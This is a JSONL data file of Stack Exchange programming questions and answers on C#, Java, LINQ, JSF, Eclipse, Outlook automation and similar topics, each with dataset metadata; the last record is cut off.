{"id": "hf_2b1e03445a6c", "question": "<p>i want the result of an equation rounded to the nearest integer.\ne.g. </p>\n\n<pre><code>137 * (3/4) = 103\n</code></pre>\n\n<p>Consider the following incorrect code. </p>\n\n<pre><code>int width1 = 4;\nint height1 = 3;\n\nint width2 = 137;\nint height2 = width2 * (height1 / width1);\n</code></pre>\n\n<p>What is the proper way to perform \"integer\" math in C#?</p>\n\n<p>Do i really have to do:</p>\n\n<pre><code>int height2 = (int)Math.Round(\n      (float)width2 * ((float)height1 / (float)width1)\n   );\n</code></pre>\n", "question_body": "", "answer": "```\n```\nint height2 = (width2 * height1) / width1;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:47.156553"}
{"id": "hf_6183b62d337f", "question": "<p>Is there a way to turn off the automatic selection of the first row in the built-in DataGrid in Silverlight?</p>\n\n<p>We build a lot of functionality based off the user selecting a row in a data grid.  The automatic firing of SelectionChanged when databinding or sorting is really causing us issues.  We have tried to put some guards around the selection, but can't seem get all problems covered.</p>\n\n<p>For example, if you have  DataGrid in a tab of a TabControl that is not shown when loading the screen and the DataGrid has a binding to a property of the DataContext that is a list of objects.  The grid is not databound until the tab is shown.  Is there an event telling us that the grid is databinding?  Shouldn't the default behavior of databinding be not to select a row?</p>\n\n<p>Thanks\nMike</p>\n", "question_body": "", "answer": "Mike,\nI have solved this problem by wrapping the windows control, and catching the selection changed event of the wrapped windows grid.\nIn your control, hook up the Loaded event of your control, and when it is loaded, set a boolean private member variable to true.  Then when you are catching the inner data grid's selection changed event, only raise your own selection changed event if you control is loaded.  When this is done, you can now go back to the OnApplyTemplate sub, and set your inner data grid's selected index to -1 and selected item to nothing.  Since the setting of the index and item will happen before your control is finished loading, the selection changed event will not fire. I have tried this in both a tabbed and non-tabbed environment, and it seems to work without issue.  Now on to a little bit harder problem, you may have noticed that when you sort the windows data grid (while it is data bound to an ItemsSource) it always selects the top item of the displayed data.  This will of course, fire the selection changed event, and move to an item that was not previously selected, and as far as I can see, shouldn't be selected. To handle this, you will have to do a little bit more tricky coding.  If you notice, when you catch the inner grid's selection changed event, and look at its selected item, there are only a few cases where the selected item is not set to anything, those are, when there is no longer an item selected (ie. the selection is cleared), or when (HINT) the columns are sorting.  When you are sorting, there are two events that fire, first is the de-selection of the item (SelectedItem is Nothing), and the second is the selection of the top item in the list (SelectedIndex 0).  Now, if you were to put a flag in the event handler for the inner grids selection changed event, and caught the fact that the item is nothing, you could keep track of the prior selected item, and then set the inner data grid's selected item to the previously selected item.\nThis solves the problem decently well, and as always there may be undesired results while wrapping a windows control, but as far as I can tell, this seems to be the only way to get around the first row being selected on load problem.  I can only imagine, however, that this is going to be fixed by M$ at some point.\nI hope this helps,\nThanks,\nScott", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:47.186698"}
{"id": "hf_65200fb517ec", "question": "<p>Everything I can find in linq for aggregation has a \"group by\" clause.  How would I write this query in LINQ?  I have a list of date-value pairs, and I want to take the average of the values:</p>\n\n<pre><code>SELECT AVG(MySuff.Value) AS AvgValue FROM MyStuff\n</code></pre>\n", "question_body": "", "answer": "morning Alan:\n```\n```\nint count = (from a in myContext.MyStuff\n            select a).Count();\n```\n```\nAssuming myContext is the DataContext.\nNote that is gives you immediate execution, which you may not want.\nYou could instead store the results of the query in a var:\n```\n```\nvar allResults = from a in myContext.MyStuff\n                 select a;\n\n//sometime later when needed\nint count = allResults.Count(); // executes the SQL query now!\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:47.289193"}
{"id": "hf_78705f4ba85f", "question": "<p>im trying to kick off a Runnable classes run method however i keep getting a NullPointerException,  Im using WebSpheres commonj.workmanager to get an instance of executorService.this is the code im using.</p>\n\n<pre><code>executorService.execute(new Runnable() {\n    public void run() {\n        System.out.println(\"Inside run ()method..\");\n    }\n});\n\nANY IDEAS?\n</code></pre>\n", "question_body": "", "answer": "Are you checking whether\n```\nexecutorService\n```\nis null before calling\n```\nexecute()\n```\n? If not, it sounds like you need to check the WebSphere docs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:47.323228"}
{"id": "hf_08b0fce67049", "question": "<p>Let's say I have <strong>a <code>List</code> object</strong> and <strong>an iterator</strong> for that list.</p>\n\n<p>Now I sort the list with <code>java.util.Collections.sort()</code></p>\n\n<ul>\n<li>What happens to the iterator? </li>\n<li>Is its behavior still defined and can it still be used? </li>\n<li>If not, can I prevent destroying the iterators for the list?</li>\n</ul>\n\n<p>I know, this problem could be circumvented by changing the program design, cloning the list for example, but I specificly want to know the \"official\" behavior of Java.</p>\n", "question_body": "", "answer": "Iterators are generally invalid after\nany\nmodification to their underlying collections, except via the iterator itself. (For instance,\n```\nListIterator\n```\nallows for insertion and removal.)\nI'd certainly expect any iterators to become invalidated after a sort though - and if they weren't, I'd have no idea what order to expect.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:47.349754"}
{"id": "hf_5a4e0d162e40", "question": "<p>I'm playing with <a href=\"http://www.dncompute.com/blog/2007/03/19/seed-based-pseudorandom-number-generator-in-actionscript.html\" rel=\"nofollow noreferrer\">this ActionScript</a> which generates a random 'squiggle'.</p>\n\n<p>Each time a 'squiggle' is placed, it appears within a sprite with a white background.</p>\n\n<p>If I change the background colour of the flash file to pink for example, it would still show up as white.</p>\n\n<p>Does anybody know how I might make the sprite background transparent? Thanks.</p>\n", "question_body": "", "answer": "That is not an actual Sprite (Sprite is an AS3 datatype) it's just a MovieClip that's called 'sprite'. I see that in the code the squiggles are actually being drawn to a MovieClip called 'paintSurface', then when it's done a Bitmap of 'paintSurface' is captured via this line:\n```\n```\nbitmapData.draw(paintSurface);\n```\n```\nthen it is attached to the 'sprite' MovieClip here:\n```\n```\nsprite.attachBitmap(bitmapData, 3);\n```\n```\nThat is probably why you are getting the white background.\nI assume the bitmap is being captured for the sake of processing speed.\nPerhaps you could see what happens if you do not capture a bitmap, but instead just attach 'paintSurface' to 'sprite' instead.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:47.388762"}
{"id": "hf_f575baf5e1d2", "question": "<p>Currently reading quite a heavy WCF book. I have used it myself in production just the once, using tcp, worked a charm.\nAnyway what are your opinions on this technology, is it here to stay, is it worth the time invested learning all the complex features etc etc?</p>\n", "question_body": "", "answer": "I think it is here to stay.  It is easily configurable for moving endpoints, it seems robust and allows you to do (pretty much) everything you could do in web services and remoting without the overhead of separate implementations.\nI can see where you are coming from, with MS's recent leaks about ongoing support for, and maintenance of  Linq to SQL, but I see WCF as a different beast altogether.  This is a technology that allows interoperability, as well as de-complixifying (I know this isn't a real word, but it should be) communications between systems.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:47.412563"}
{"id": "hf_855512b25482", "question": "<p>What does the SQL Action keyword do?  Can I use this keyword in a trigger and determine if the trigger was called by an Insert, Delete or Update?</p>\n", "question_body": "", "answer": "No, you can't use it for that. But you can look at the\nInserted and Deleted\ntables to see what happened.\nA vary basic example would go something like this:\n```\n```\nIf exists (select * from inserted) and exists (select * from deleted)\n    --Update happened\nIf exists (select * from inserted)\n    --Insert happened\nIf exists (select * from deleted)\n    --Delete happened\nElse\n    --Nothing happened\n```\n```\nRealistically, though, it just depends on what you need to do.  In some cases, you might just end up joining on these tables by primary key and do various things.\nIf you post more details in your question about what you're attempting, though, it'd be easier to give a more specific response.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:47.436027"}
{"id": "hf_3ad0231525bc", "question": "<p>Ok, heres my issue: I have a JSF application and some JSP files. Let's say i have main.jsp which has a view and includes sub.jsp. This works fine. sub.jsp contains a subview. As a result all the ID's of the form elements in sub.jsp follow the form of 'subview:component'. Now suppose I'm using some ajax and want to fetch the jsp page sub.jsp and include it in a DIV somewhere. Now the ID's all are of the form 'component'. I don't know a way around this, and having to check for 2 different sets of IDs in my interactive javascript is a pain. Is there any way to get consistent IDs?</p>\n\n<p>I've tried:\nRemoving the subview - (then the AJAX call will fail because no view is found)</p>\n\n<p>and </p>\n\n<p>h:form prependid=false - this only removes the form id, not the subview ids</p>\n", "question_body": "", "answer": "AJAX is tricky to do with JSF. If the JSF framework you're using doesn't support it, you'll run into many view state problems.\nI'm surprised an exception isn't thrown when you address\nsub.jsp\ndirectly - there should be no h:view in\nsub.jsp\nand without a UIViewRoot, I'm not sure how a UI tree would be created. If you have a h:view in\nsub.jsp\n, then you're putting two UIViewRoots into your UI tree - this is a bug. (The JSF component tree is roughly analogous to that of other Java widget kits like Swing or SWT.)\nI suspect the problem you're observing is that you're submitting to a different view to the one that was originally rendered. Since the component tree is completely different, the clientIds will be generated from a different view root. You can read about how they are built in\nthis answer\n.\nIn short, I do not think the mechanism you're using to update the client is a valid one.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:47.505043"}
{"id": "hf_30953c184626", "question": "<p>I am looking for good ideas for implementing a generic way to have a single line (or anonymous delegate) of code execute with a timeout.</p>\n\n<pre><code>TemperamentalClass tc = new TemperamentalClass();\ntc.DoSomething();  // normally runs in 30 sec.  Want to error at 1 min\n</code></pre>\n\n<p>I'm looking for a solution that can elegantly be implemented in many places where my code interacts with temperamental code (that I can't change).</p>\n\n<p>In addition, I would like to have the offending \"timed out\" code stopped from executing further if possible.</p>\n", "question_body": "", "answer": "Well, you could do things with delegates (BeginInvoke, with a callback setting a flag - and the original code waiting for that flag or timeout) - but the problem is that it is very hard to shut down the running code. For example, killing (or pausing) a thread is dangerous... so I don't think there is an easy way to do this robustly.\nI'll post this, but note it is not ideal - it doesn't stop the long-running task, and it doesn't clean up properly on failure.\n```\n```\nstatic void Main()\n    {\n        DoWork(OK, 5000);\n        DoWork(Nasty, 5000);\n    }\n    static void OK()\n    {\n        Thread.Sleep(1000);\n    }\n    static void Nasty()\n    {\n        Thread.Sleep(10000);\n    }\n    static void DoWork(Action action, int timeout)\n    {\n        ManualResetEvent evt = new ManualResetEvent(false);\n        AsyncCallback cb = delegate {evt.Set();};\n        IAsyncResult result = action.BeginInvoke(cb, null);\n        if (evt.WaitOne(timeout))\n        {\n            action.EndInvoke(result);\n        }\n        else\n        {\n            throw new TimeoutException();\n        }\n    }\n    static T DoWork<T>(Func<T> func, int timeout)\n    {\n        ManualResetEvent evt = new ManualResetEvent(false);\n        AsyncCallback cb = delegate { evt.Set(); };\n        IAsyncResult result = func.BeginInvoke(cb, null);\n        if (evt.WaitOne(timeout))\n        {\n            return func.EndInvoke(result);\n        }\n        else\n        {\n            throw new TimeoutException();\n        }\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:47.528598"}
{"id": "hf_e46c494fa0f8", "question": "<p>i'm a long-time newbie to c#, and this question may be too obvious, so please forgive if i'm \"doing it wrong.\"</p>\n\n<p>Using Visual Studio 2005 Pro, C#, SQL Server 2000 EE SP3.</p>\n\n<p>I have a stored proc that takes one input param and returns several output params pertaining to that input. I am also calling it successfully, and String.Format-ing the outputs into a RichTextBox. I'd like to call this proc periodically and each time stick the output params into a DataGridView row, so the results accumulate over time.</p>\n\n<ul>\n<li>What's the simplest/most elegant way to do get those parameters into the DataGridView? I'd prefer code instead of some GUI builder solution.</li>\n<li>Am i overlooking some better approach, such as a more appropriate control?</li>\n</ul>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "```\n```\n//set up the datatable\nDataTable dt = new DataTable(\"parms\");\ndt.Columns.Add(\"ParmName\",typeof(string));\ndt.Columns.Add(\"ParmValue\",typeof(string));\n//bind to a gui object\nmyDataGridView.DataSource = dt;\n\n//do this after each sproc call\nforeach (SqlParameter parm in cmd.Parameters)\n{\n    if (parm.Direction == ParameterDirection.Output)\n    {\n        //do something with parm.Value\n        dt.Rows.Add(new object [] { parm.ParameterName, \n            Convert.ToString(parm.Value) } );\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:47.563689"}
{"id": "hf_b9fce7383c00", "question": "<p>I am trying to monitor my outlook inbox so whenever new emails come in with attachments I  save the attachment to some other location. Can anyone help me out?</p>\n", "question_body": "", "answer": "This is not a complete solution, but it describes some of the fundamental tools you'll be using in the Outlook API.\nFrom\nAccess Outlook Emails with ASP.NET, C#\n:\n```\n```\nusing Outlook;\n\n Outlook.Application oOutlook;\n Outlook.NameSpace oNs;\n Outlook.MAPIFolder oFldr;\n long iAttachCnt;\n\n try\n {\n     oOutlook = new Outlook.Application();\n     oNs = oOutlook.GetNamespace(”MAPI”);\n\n     //getting mail folder from inbox\n     oFldr = oNs.GetDefaultFolder(OlDefaultFolders.olFolderInbox);\n     Response.Write(”Total Mail(s) in Inbox :” + oFldr.Items.Count + “<br>”);\n     Response.Write(”Total Unread items = ” + oFldr.UnReadItemCount);\n     foreach (Outlook.MailItem oMessage in oFldr.Items)\n     {\n         StringBuilder str = new StringBuilder();\n         str.Append(”<table style=’border:1px solid gray;font-family:Arial;font-size:x-small;width:80%;’ align=’center’><tr><td style=’width:20%;’><b>Sender :</b></td><td>”);\n         str.Append(oMessage.SenderEmailAddress.ToString() + “</td></tr>”);\n         //basic info about message\n         str.Append(”<tr><td><b>Date :</b></td><td>” + oMessage.SentOn.ToShortDateString() + “</td></tr>”);\n         if (oMessage.Subject != null)\n         {\n             str.Append(”<tr><td><b>Subject :</b></td><td>” + oMessage.Subject.ToString() + “</td></tr>”);\n         }\n         //reference and save all attachments\n\n         iAttachCnt = oMessage.Attachments.Count;\n         if (iAttachCnt > 0)\n         {\n             for (int i = 1; i <= iAttachCnt; i++)\n             {\n                 str.Append(”<tr><td><b>Attachment(” + i.ToString() + “) :</b></td><td>” + oMessage.Attachments[i].FileName + “</td></tr>”);\n             }\n         }\n         str.Append(”</table><br>”);\n         Response.Write(str.ToString());\n\n     }\n\n }\n catch (System.Exception ex)\n {\n     Response.Write(”Execption generated:” + ex.Message);\n }\n finally\n {\n     GC.Collect();\n     oFldr = null;\n     oNs = null;\n     oOutlook = null;\n\n }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:47.587132"}
{"id": "hf_c6893b606690", "question": "<p>What is the best way to convert word HTML to word XML? I cannot buy a tool so need something preferably XSLT which is free and works suitably with basic formatting like paragraphs, lists, bold and italic.</p>\n", "question_body": "", "answer": "XSLT on its own won't do you any good if you want to retain any formatting from outside the XHTML file (for example, in external style sheets). Besides, Word has the ability to open (X)HTML files, and has for a while. It might not come out looking as good as the original, but it works.\nIn fact, if you have Word and some skill with VB Script, I believe that it is possible to write a script that opens a (X)HTML file, then saves it as WordML or plain old Word if you're using Word 2003 or older, or as .docx if you have 2007.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:47.635700"}
{"id": "hf_1936b78f5cd2", "question": "<p>Does anyone know tools like <a href=\"http://www.nektra.com/products/spystudio/\" rel=\"noreferrer\">SpyStudio</a> to hook processes?\nThe features I would like to have are:</p>\n\n<ul>\n<li>log function calls on other processes</li>\n<li>GUI</li>\n<li>scriptable</li>\n<li>opensource</li>\n</ul>\n\n<p>I already looked at some tools like:</p>\n\n<ul>\n<li><a href=\"http://www.nektra.com/products/spystudio/\" rel=\"noreferrer\">SpyStudio</a></li>\n<li><a href=\"http://research.microsoft.com/sn/detours/\" rel=\"noreferrer\">Detours</a></li>\n<li><a href=\"http://www.dyninst.org/\" rel=\"noreferrer\">DynInst</a></li>\n</ul>\n\n<p>but none really fully satisfies me.</p>\n", "question_body": "", "answer": "It likely uses the debugging API and places debug hooks at key points in the application to to trap events. You may even be able to do what you want using\nollydbg\n.\nEDIT: I just looked at the site and saw the demonstration videos and I would say that they almost certainly do this through the debugging API. They likely place breakpoints in the target at the desired function entry points. When a trap event fires, it looks like they use an RPC call to notify the user of their API and allow them to look at what happened and potentially modify some things. Sending back what to do next also in an RPC call. A nice design, but just a glorified debugger.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:47.731669"}
{"id": "hf_0551f840650d", "question": "<p>Assuming I have a tree structure</p>\n\n<pre><code>UL\n--LI\n---INPUT (checkbox)\n</code></pre>\n\n<p>And I want to grab the checked inputs, I would select </p>\n\n<pre><code>$('ul li input:checked')\n</code></pre>\n\n<p>However, I want to select the checked inputs of a specific object $myUL that doesn't have an ID.</p>\n\n<pre><code>$myUL.children('li input:checked')\n</code></pre>\n\n<p>returns all li's since children filters immediate children - the checked filter has no impact. </p>\n\n<p>Is there another way around this? Another descendant filter?</p>\n", "question_body": "", "answer": "use\n```\n$myUL.find('li>input:checked')\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:47.766615"}
{"id": "hf_c1e5c96a016c", "question": "<p>How can I start writing a plugin for <a href=\"http://en.wikipedia.org/wiki/Eclipse_%28software%29\" rel=\"noreferrer\">Eclipse</a>?</p>\n\n<p>I've looked for documentation, but unfortunately there is very little or it's poor, so what articles can recommended?</p>\n", "question_body": "", "answer": "There are some pretty good resources and tutorials on the main Eclipse and IBM's site. One of the best ways is to pick an open source plug-in that has some similar features to what you want to do and start to dissect it.\nPDE Does Plug-ins\nPlug-in development 101, Part 1: The fundamentals\nEclipse Plugins Exposed, Part 1: A First Glimpse\nDeveloping Eclipse plug-ins", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:47.789084"}
{"id": "hf_366b6ae8e354", "question": "<p>Well, heres my scenario.</p>\n\n<p>Client/Server winforms application with SQL Express as the DB. I need to be able to print invoice, packing slips etc..</p>\n\n<p>i would like the customer to be able to modify the invoices. ie. be able to put their logo or change font sizes etc...basically format the display.</p>\n\n<p>Things i have considered so far are.</p>\n\n<p>1) Use a template engine (similar to codesmith or mygeneration) and use templates that output HTML. Then print the html page. </p>\n\n<p>2) Use ReportViewer in local mode. I've heard that users can download a plugin for web dev express and edit the local report files. can anyone confirm this?</p>\n\n<p>3) Use Reportviewer in remote mode. </p>\n\n<p>I don't have much experience with ReportViewer so I'm not sure if i should use local or remote mode as well.</p>\n\n<p>Those of you that have done this kind of thing before whats your recommendation?</p>\n", "question_body": "", "answer": "After just completing a project with it, I would heartily recommend\niTextSharp\nto create your invoices and other forms as PDFs. In addition to creating PDFs from scratch, you can also use it to fill in PDF forms and/or templates created with Acrobat (or even MS Office/OpenOffice). And it's free.\nIt's pretty easy to use in Windows apps or in ASP.Net applications. Most of the documentation and the books on it (\niText in Action\n, for example) are about the original Java version,\niText\n. However, there are tutorials and example code on the conversion process and, for the most part, all of the functions and libraries work the same in the .Net version, so adapting the book and reference code has been no problem.\nI definitely learned the hard way that HTML and CSS are great for browsers (well, great except for the \"every browser interprets it different\" problem), but horrible for trying to generate consistent, attractive, and precise printed output and forms.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:47.818234"}
{"id": "hf_c142ca33a643", "question": "<p>Does anyone know if its possible to create a new property on an existing Entity Type which is based on 2 other properties concatenated together?</p>\n\n<p>E.g. My Person Entity Type has these fields \"ID\", \"Forename\", \"Surname\", \"DOB\"</p>\n\n<p>I want to create a new field called \"Fullname\" which is </p>\n\n<pre><code>Forenames + \" \" + Surname\n</code></pre>\n\n<p>So i end up with \"ID\", \"Forename\", \"Surname\", \"DOB\", \"Fullname\".</p>\n\n<p>I know i can do this using Linq programmatically i.e.</p>\n\n<pre><code>var results = from p in db.People\nselect new { \nID = p.ID, \nForename = p.Forename, \nSurname = p.Surname, \nDOB = p.DOB,\nFullname = p.Forename+ \" \" + p.Surname\n};\n</code></pre>\n\n<p>Then calling something like</p>\n\n<pre><code>var resultsAfterConcat = from q in results \nwhere q.Fullname.Contains(value)\nselect q;\n</code></pre>\n\n<p>However i'd really like to use Linq to Entities to do this work for me at the Conceptual Model level.</p>\n", "question_body": "", "answer": "Not yet, but maybe soon.  First, note that your suggested query will not work at all in LINQ to Entities, with or without the property, because, at present, it doesn't support Contains.  The new version of the Entity Framework in .NET 4.0, however, is supposed to support custom methods in LINQ to Entities queries.  You can see\na video about this from PDC\n.  Essentially, you have to write the custom method twice; once in code, and once on your database (e.g., in a calculated field).  See the video for more information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:47.841805"}
{"id": "hf_4d71479d4170", "question": "<p>In CFEclipse, I do a lot of double-clicking to select text. The standard behavior is to select all text within the nearest <em>word boundaries</em>. This is problematic when editing code where the original editor didn't use camel-case; for example, they wrote \"myObject\" as \"my_object\".</p>\n\n<p>Is there a way to change the double-click selection behavior to include '_' as a valid <em>word</em> character?</p>\n", "question_body": "", "answer": "On eclipse 3.4.1 Ganymede, it seems to select the nearest boundaries\nincluding\nthe '_' (at least in the java file I am using)\nWhat eclipse version are you using ?\nThis\nblog\neven reports that eclipse3.3 does select word as you are expecting it...\nvs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:47.891963"}
{"id": "hf_f0928a36e58e", "question": "<p>I'm looking for an implementation of the <a href=\"http://en.wikipedia.org/wiki/Logo_programming_language\" rel=\"nofollow noreferrer\">LOGO</a> programming language that supports 'dynaturtles' - animated turtles that can programmatically change shape, speed and direction as well as detect collisions with each other or other objects in the environment.</p>\n\n<p>Back in the mists of time when the earth was new and 8 bit micros ruled supreme, <a href=\"http://en.wikipedia.org/wiki/Atari_LOGO\" rel=\"nofollow noreferrer\">Atari LOGO</a> did this famously well.  One could create all sorts of small games and simulated environments using this technique very easily as that implementation of the language had a very well thought out, elegant syntax.</p>\n\n<p>I know about LCSI's <a href=\"http://www.microworlds.com/\" rel=\"nofollow noreferrer\">Microworlds</a> but I'm looking for something I can use to get some friends and their kids involved in programming without breaking my budget.</p>\n", "question_body": "", "answer": "Digging around a bit online, I've found\nOpenStarLogo\n. Though they don't specifically mention \"dynaturtles\" the docs do mention collision detection.  The site has code and documentation downloads.\nFrom this\nwikipedia article\n, under the Implementations section, there is a PDF listing known current and antique implementations.  Some of these, such as\nStarLogo TNG\nand\nElica\nhave support for 3D objects.  These are definitely not like the LOGO programs I wrote as a kid...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:47.928019"}
{"id": "hf_f29e8fed82f2", "question": "<p>Say I have the following Objective-C class:</p>\n\n<pre><code>@interface Foo {\n     int someNumber;\n     NSString *someString;\n}\n</code></pre>\n\n<p>and for reasons I won't get into here, I want to use KVC to update, in a generic fashion, the values for those variables:</p>\n\n<pre><code>[f setValue:object forKey:@\"someNumber\"];\n\nor\n\n[f setValue:object forKey:@\"someString\"];`\n</code></pre>\n\n<p>If <code>object</code> is a string and I'm updating the <code>someNumber</code> variable, it seems that I need to know to use an NSNumberFormatter to get an NSNumber and then Cocoa automatically converts that to an int inside <code>setValue:forKey:</code>. </p>\n\n<p>Is there any way to avoid this custom code and have Cocoa infer the conversion to an int from a string, or do I need to catch this situation each time and handle it myself?</p>\n", "question_body": "", "answer": "You should do the conversion yourself with a number formatter, it gives you finer control than anything that the framework might consider to be appropriate. It is also, probably, not a good idea to use a single instance of an object to update the values for your ivars.  More appropriately, you could perform your update based on the class of the object (providing you are not storing in an\n```\nid\n```\nby querying the runtime as to the class of the object by means of\n```\nobject_getClassName\n```\n.  More information is available in the Objective-C 2.0 Runtime Reference.  But in general, you will likely find bugs in your code as a result of doing things that way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:48.057509"}
{"id": "hf_fd42b5084d78", "question": "<p>I'm looking for a library or source code that provides guard methods such as checking for null arguments. Obviously this is rather simple to build, but I'm wondering if there are any out there for .NET already. A basic Google search didn't reveal much.</p>\n", "question_body": "", "answer": "Given Microsoft's\nCode Contracts\ncoming out with .NET 4.0 I'd try to find one which is mostly compatible, if possible - and if not, write it yourself. That way when you upgrade to .NET 4.0 (eventually) the migration will be easier.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:48.161917"}
{"id": "hf_55e994e54814", "question": "<p>I have a function that resembles the one below. I'm not sure how to use the os module to get back to my original working directory at the conclusion of the jar's execution. </p>\n\n<pre><code>def run(): \n    owd = os.getcwd()\n    #first change dir to build_dir path\n    os.chdir(testDir)\n    #run jar from test directory\n    os.system(cmd)\n    #change dir back to original working directory (owd)\n</code></pre>\n\n<p>note: I think my code formatting is off - not sure why. My apologies in advance</p>\n", "question_body": "", "answer": "You simply need to add the line:\n```\n```\nos.chdir(owd)\n```\n```\nJust a note this was also answered in your other\nquestion\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:48.196643"}
{"id": "hf_ce67070f588c", "question": "<p>I am working on an app for doing screen scraping of small portions of external web pages (not an entire page, just a small subset of it).</p>\n\n<p>So I have the code working perfectly for scraping the html, but my problem is that I want to scrape not just the raw html, but also the CSS styles used to format the section of the page I am extracting, so I can display on a new page with it's original formatting intact.</p>\n\n<p>If you are familiar with firebug, it is able to display which CSS styles are applicable to the specific subset of the page you have highlighted, so if I could figure out a way to do that, then I could just use those styles when displaying the content on my new page.  But I have no idea how to do this........</p>\n", "question_body": "", "answer": "A good start would be the following: make a pass through the patch of HTML you plan to extract, collecting each element (and its ID/classes/inline styles) to an array. Grab the styles for those element IDs & classes from the page's stylesheets immediately.\nThen, from the outermost element(s) in the target patch, work your way up through the rest of the elements in the DOM in a similar fashion, eventually all the way up to the body and HTML elements, comparing against your initial array and collecting any styles that weren't declared within the target patch or its applied styles.\nYou'll also want to check for any * declarations and grab those as well. Then, make sure when you're reapplying the styles to your eventual output you do so in the right order, as you collected them from low-to-high in the DOM hierarchy and they'll need to be reapplied high-to-low.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": 